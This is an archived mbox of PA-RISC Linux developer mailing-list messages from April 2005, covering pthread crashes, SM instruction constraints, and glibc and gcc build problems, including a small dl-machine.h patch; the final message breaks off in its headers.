X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Apr 2005 14:48:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx047) with SMTP; 09 Apr 2005 16:48:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 93E0B7D69C;
	Sat,  9 Apr 2005 08:48:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24437-05; Sat, 9 Apr 2005 08:48:21 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F3E9E7D69E;
	Sat,  9 Apr 2005 08:48:20 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A68F7D696
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Apr 2005 08:48:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24324-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 9 Apr 2005 08:48:16 -0600 (MDT)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id C8A387D680
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Apr 2005 08:48:16 -0600 (MDT)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 2CAC3111FC9; Sat,  9 Apr 2005 07:48:15 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200504091444.j39EiSCG021774@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: G44lYlJKeSE5+76WZHQhaXN2IGRvb0C9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22597

One more thing - in my test i've seen the program somewhat randomly get
killed by SIGSEGV or SIGILL. Sometimes, the "count" variable gets
corrupted. I wonder if this is also the same problem Dave sees with
"random" crashes during gcc builds.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SM insn question?
Date: Sat, 9 Apr 2005 10:59:41 -0400 (EDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <200504091459.j39Exf78021844@hiauly1.hia.nrc.ca>
References: <20050409054314.GB19922@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623748 13753 80.91.229.3 (22 Nov 2014 02:35:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Apr 2005 14:59:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 09 Apr 2005 16:59:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 01AFE7D6B5;
	Sat,  9 Apr 2005 08:59:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24742-04; Sat, 9 Apr 2005 08:59:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2D8DD7D6AB;
	Sat,  9 Apr 2005 08:59:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EE9867D6A5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Apr 2005 08:59:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24583-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 9 Apr 2005 08:59:43 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 6FD937D6A1
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Apr 2005 08:59:43 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j39ExghF021846; Sat, 9 Apr 2005 10:59:42 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j39Exf78021844;
	Sat, 9 Apr 2005 10:59:41 -0400 (EDT)
In-Reply-To: <20050409054314.GB19922@colo.lackof.org> from "Grant Grundler" at
	Apr 8, 2005 11:43:14 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: voglYoMeeSE5+76WZHQhaXN2IGRvbwAd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22598

> > According to programming notes on p427,
> 
> Joel,
> Which book/document are you referencing the page number for?
> 
> Are you referring to the programming note on page "F-5" of PA2.0
> Arch book (by Jerry Kane)?
> 
> If so, ISTR those contraints are only when clearing Q-bit (bit 3).
> We have such code in entry.S.
> 
> Messing with I-bit (bit 0) should be safe. 

It think the insns also have to be followed by 7 palindromic NOP
insns when the E-bit is changed (endian).

I thought it was clear that the segfaults were occuring because
a null pointer was being deferenced.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Sat, 9 Apr 2005 11:01:00 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200504091501.j39F112M022031@hiauly1.hia.nrc.ca>
References: <20050409063847.GR1833@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623748 13756 80.91.229.3 (22 Nov 2014 02:35:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Apr 2005 15:01:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 09 Apr 2005 17:01:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5A3FB7D6B7;
	Sat,  9 Apr 2005 09:01:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24742-09; Sat, 9 Apr 2005 09:01:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BDB327D6B8;
	Sat,  9 Apr 2005 09:01:06 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A99EB7D6B6
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Apr 2005 09:01:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24920-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 9 Apr 2005 09:01:03 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 201897D6B2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Apr 2005 09:01:03 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j39F11hF022032; Sat, 9 Apr 2005 11:01:01 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j39F112M022031;
	Sat, 9 Apr 2005 11:01:01 -0400 (EDT)
In-Reply-To: <20050409063847.GR1833@baldric.uwo.ca> from "Carlos O'Donell" at
	Apr 9, 2005 02:38:47 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FoslYtoheSE5+76WZHQhaXN2IGRvb4C7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22599

> > Just wondering if this has to do with rt signals versus old style linux
> > signals (ia64 seems to define some wrappers).
> 
> libc or kernel?

libc.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More from the TLS glibc front.
Date: Sat, 9 Apr 2005 11:15:55 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200504091515.j39FFtij022153@hiauly1.hia.nrc.ca>
References: <4257AE83.6030308@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623748 13763 80.91.229.3 (22 Nov 2014 02:35:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Apr 2005 15:16:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 09 Apr 2005 17:16:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EFAB97D646;
	Sat,  9 Apr 2005 09:16:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24963-08; Sat, 9 Apr 2005 09:16:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2E1157D69E;
	Sat,  9 Apr 2005 09:16:03 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E83F47D646
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Apr 2005 09:15:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24963-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 9 Apr 2005 09:15:58 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 676FB7D60D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Apr 2005 09:15:58 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j39FFthF022154; Sat, 9 Apr 2005 11:15:56 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j39FFtij022153;
	Sat, 9 Apr 2005 11:15:55 -0400 (EDT)
In-Reply-To: <4257AE83.6030308@tiscali.be> from "Joel Soete" at Apr 9,
	2005 10:29:23 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4JQlYlUSeSE5+76WZHQhaXN2IGRvb8Ci
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22600

> what's up with gcc-3.3.x?
> I never reach to complet the glibc build with gcc-3.4 (see detailed investigation in 
> <http://gcc.gnu.org/bugzilla/show_bug.cgi?id=17471>), gcc-3.5 at this time (now gcc-4) seems to solve this pb even thought there was 
> some other pb to fix with this new compiler ;-S (but not enough time to investigate, sorry)

I'm not aware of any GCC PRs related to this.  A few PA specific bug fixes
have been back ported to 3.3 and 3.4.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More from the TLS glibc front.
Date: Sat, 9 Apr 2005 13:19:35 -0400 (EDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <200504091719.j39HJZKK023228@hiauly1.hia.nrc.ca>
References: <4258096E.1050205@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623749 13767 80.91.229.3 (22 Nov 2014 02:35:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Apr 2005 17:40:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx012) with SMTP; 09 Apr 2005 19:40:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D99DA7D6B2;
	Sat,  9 Apr 2005 11:19:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26010-06; Sat, 9 Apr 2005 11:19:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DDFD57D6A1;
	Sat,  9 Apr 2005 11:19:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C28DF7D69C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Apr 2005 11:19:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25732-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 9 Apr 2005 11:19:38 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 41DCE7D677
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Apr 2005 11:19:38 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j39HJahF023229; Sat, 9 Apr 2005 13:19:36 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j39HJZKK023228;
	Sat, 9 Apr 2005 13:19:35 -0400 (EDT)
In-Reply-To: <4258096E.1050205@tiscali.be> from "Joel Soete" at Apr 9,
	2005 04:57:18 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1XYqYl5deSE5+76WZHQhaXN2IGRvb0Db
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22601

> > I'm not aware of any GCC PRs related to this.
> Sorry iirc those new pb wouldn't have to be the object of gcc pr but would more need some small changes in the glibc code to take 
> into account the new gcc-4.x (may be some more always_use arrtibute?)
> 
> > A few PA specific bug fixes
> > have been back ported to 3.3 and 3.4.
> >
> well mentioned pr #17471 was 2.3.3 glibc and 3.4 gcc related; today 2.3.5 is out, if I find some more free time I will try this new 
> 2.3.5 glibc with new 4.? gcc

Well, your analysis in 17471 didn't convince me that a gcc code generation
bug was involved.  I believe that if you try the change below that glibc
will build with 3.3 and 3.4.  There was a warning generated by GCC.

I thought this was fixed in glibc.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--- dl-machine.h.orig	2004-10-22 20:01:03.000000000 -0700
+++ dl-machine.h	2004-10-22 21:32:30.000000000 -0700
@@ -260,6 +260,7 @@
 
 #define RTLD_START \
 /* Set up dp for any non-PIC lib constructors that may be called.  */	\
+static struct link_map *set_dp (struct link_map *) __attribute__ ((used));\
 static struct link_map *						\
 set_dp (struct link_map *map)						\
 {									\
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More from the TLS glibc front.
Date: Sat, 09 Apr 2005 16:57:18 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <4258096E.1050205@tiscali.be>
References: <200504091515.j39FFtij022153@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623749 13768 80.91.229.3 (22 Nov 2014 02:35:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Apr 2005 17:57:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx029) with SMTP; 09 Apr 2005 19:57:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6A1C57D69B;
	Sat,  9 Apr 2005 10:57:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25695-09; Sat, 9 Apr 2005 10:57:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C611C7D69C;
	Sat,  9 Apr 2005 10:57:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD6627D670
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Apr 2005 10:57:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25732-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 9 Apr 2005 10:57:27 -0600 (MDT)
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by free.linux.hp.com (Postfix) with ESMTP id 3B94C7D66F
	for <parisc-linux@lists.parisc-linux.org>;
